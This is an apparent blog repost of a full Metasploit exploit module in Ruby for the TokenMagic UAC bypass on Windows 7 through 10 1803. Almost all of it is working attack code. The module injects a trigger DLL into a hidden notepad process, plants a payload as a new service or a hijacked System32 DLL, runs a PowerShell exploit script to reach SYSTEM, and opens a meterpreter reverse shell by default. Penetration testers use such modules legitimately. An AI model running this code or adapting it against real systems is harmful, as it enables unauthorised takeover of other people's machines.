Tuesday, May 18, 2021

Microsoft Windows TokenMagic Privilege Escalation

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Exploit::EXE # Needed for generate_payload_dll
include Msf::Exploit::FileDropper
include Msf::Post::File
include Msf::Post::Windows::FileSystem
include Msf::Post::Windows::Powershell
include Msf::Post::Windows::Priv
include Msf::Post::Windows::ReflectiveDLLInjection
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Privilege Escalation via TokenMagic (UAC Bypass)',
'Description' => %q{
This module leverages a UAC bypass (TokenMagic) in order to spawn a process/conduct a DLL
hijacking attack to gain SYSTEM-level privileges. Windows 7 through Windows 10 1803
are affected.
},
'License' => MSF_LICENSE,
'Author' =>
[
'James Forshaw', # Research
'Ruben Boonen (@FuzzySec)', # PoC
'bwatters-r7', # msf module
'jheysel-r7' # msf module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' =>
[
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2017-05-25',
'References' =>
[
['URL', 'https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/UAC-TokenMagic.ps1'],
['URL', 'https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-1.html'],
['URL', 'https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-2.html'],
['URL', 'https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-3.html']
],
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ],
'DefaultOptions' =>
{
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
'WfsDelay' => 900
}
)
)

register_options([
OptString.new('SERVICE_NAME',
[false, 'Service Name to use (Random by default).', Rex::Text.rand_text_alpha(5..9)]),
OptString.new('WRITABLE_DIR',
[false, 'Directory to write file to (%TEMP% by default).', nil]),
OptString.new('SERVICE_FILENAME',
[false, 'Filename for Service Payload (Random by default).', Rex::Text.rand_text_alpha(5..9)]),
OptEnum.new('METHOD',
[
true, 'SERVICE or DLL, please select which attack method you would like to use (SERVICE by default).
Note that the System Orchestrator service which loads the overwritten DLL when using the DLL method can take up to 10
minutes to trigger', 'SERVICE', ['SERVICE', 'DLL']
])
])
end

def setup_process
begin
print_status('Launching notepad to host the exploit...')
notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true)
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
# Sandboxes could not allow to create a new process
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_error('Operation failed. Trying to elevate the current process...')
process = client.sys.process.open
end
process
end

def inject_magic(process)
if sysinfo['Architecture'] == ARCH_X64
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'uso_trigger', 'uso_trigger.x64.dll')
elsif sysinfo['Architecture'] == ARCH_X86
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'uso_trigger', 'uso_trigger.x86.dll')
end

library_path = ::File.expand_path(library_path)
print_status("Reflectively injecting the trigger DLL into #{process.pid}...")
dll = ::File.read(library_path)
exploit_mem, offset = inject_dll_data_into_process(process, dll)
print_good('Trigger injected.')
payload_mem = inject_into_process(process, payload.encoded)
print_good('Payload injected. Starting thread...')
process.thread.create(exploit_mem + offset, payload_mem)
end

def launch_dll_trigger
print_status('Trying to start notepad')
process = setup_process
inject_magic(process)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
rescue Rex::Post::Meterpreter::RequestError => e
elog(e)
print_error(e.message)
end

def payload_arch
payload.arch.include?(ARCH_X64) ? ARCH_X64 : ARCH_X86
end

def exploit
win_dir = session.sys.config.getenv('windir')
cmd_path = "#{win_dir}\\system32\\cmd.exe"
if datastore['SERVICE_FILENAME']
service_filename = datastore['SERVICE_FILENAME']
else
service_filename = Rex::Text.rand_text_alpha(5..9)
end
service_filename = "#{service_filename}.exe" unless service_filename.end_with?('.exe')
if datastore['SERVICE_NAME']
service_name = datastore['SERVICE_NAME']
else
service_name = Rex::Text.rand_text_alpha(5..9)
end
if datastore['WRITABLE_DIR']
writable_dir = datastore['WRITABLE_DIR']
else
writable_dir = session.sys.config.getenv('TEMP')
end

if datastore['METHOD'] =~ /DLL/i
bin_path = "#{writable_dir}\\WindowsCoreDeviceInfo.dll"
payload = generate_payload_dll
vprint_status("Payload DLL is #{payload.length} bytes long")
client.core.use('powershell') unless client.ext.aliases.include?('powershell')
register_file_for_cleanup('C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll') # Register this file for cleanup so that if we fail, then the file is cleaned up.
# Replace Value in Generic Script.
cmd_args = "/c move #{bin_path} C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll"
else
bin_path = "#{writable_dir}\\#{service_filename}"
payload = generate_payload_exe_service({ servicename: service_name, arch: payload_arch })
vprint_status("Service Name = #{service_name}")
client.core.use('powershell') unless client.ext.aliases.include?('powershell')
# Replace Value in Generic Script. Note Windows 7 requires spaces after the equal signs in the below command.
cmd_args = "/c sc create #{service_name} binPath= #{bin_path} type= own start= demand && sc start #{service_name}"
end

# Check target
print_status('Checking Target')
validate_active_host
validate_payload

# Upload the payload
print_status("Uploading payload to #{bin_path}")
write_file(bin_path, payload)
register_file_for_cleanup(bin_path)

# Read in Generic Script
script = exploit_data('tokenmagic', 'tokenmagic.ps1')
script.gsub!('_CMD_PATH_', cmd_path)
script.gsub!('_CMD_ARGS_', cmd_args)

# Run Exploit Script
print_status("Running Exploit on #{sysinfo['Computer']}")
begin
print_status('Executing TokenMagic PowerShell script')
session.powershell.execute_string({ code: script })
rescue Rex::TimeoutError => e
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
print_error('Caught timeout. Exploit may be taking longer or it may have failed.')
end

if datastore['METHOD'] =~ /DLL/i
launch_dll_trigger
print_status("Note that the System Orchestrator service which loads the overwritten DLL when using the DLL method can take up to 10
minutes to trigger and recieve a shell.")
end
print_good('Enjoy the shell!')
end

def validate_active_host
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
rescue Rex::Post::Meterpreter::RequestError => e
elog('Could not connect to session', error: e)
raise Msf::Exploit::Failed, 'Could not connect to session'
end

def validate_payload
vprint_status("Target Arch = #{sysinfo['Architecture']}")
vprint_status("Payload Arch = #{payload.arch.first}")
unless payload.arch.first == sysinfo['Architecture']
fail_with(Failure::NoTarget, 'Payload arch must match target arch')
end
end

def check
sysinfo_value = sysinfo['OS']
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)
if build_num.nil?
return CheckCode::Unknown("Couldn't retrieve the target's build number!")
else
vprint_status("Target's build number: #{build_num}")
build_num = build_num[0].to_i
end

vprint_status("Build Number = #{build_num}")
if datastore['METHOD'] =~ /service/i
# Service method has been tested on Windows 7, 8 and 10 (1803 and ealier)
return Exploit::CheckCode::Appears if (build_num >= 7600 && build_num <= 17134)
elsif (sysinfo_value =~ /10/ && build_num >= 15063 && build_num <= 17134)
# DLL method has been tested on Windows 10 (1703 to 1803)
return Exploit::CheckCode::Appears
elsif (datastore['METHOD'] =~ /dll/i && build_num >= 7600 && build_num < 15063)
print_error("The current target is not vulnerable to the DLL hijacking technique. Please try setting METHOD to 'SERVICE' and then try again!")
end
Exploit::CheckCode::Safe
end
end
 

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Thanks for everything Templateism - You should have written the code a little more complicated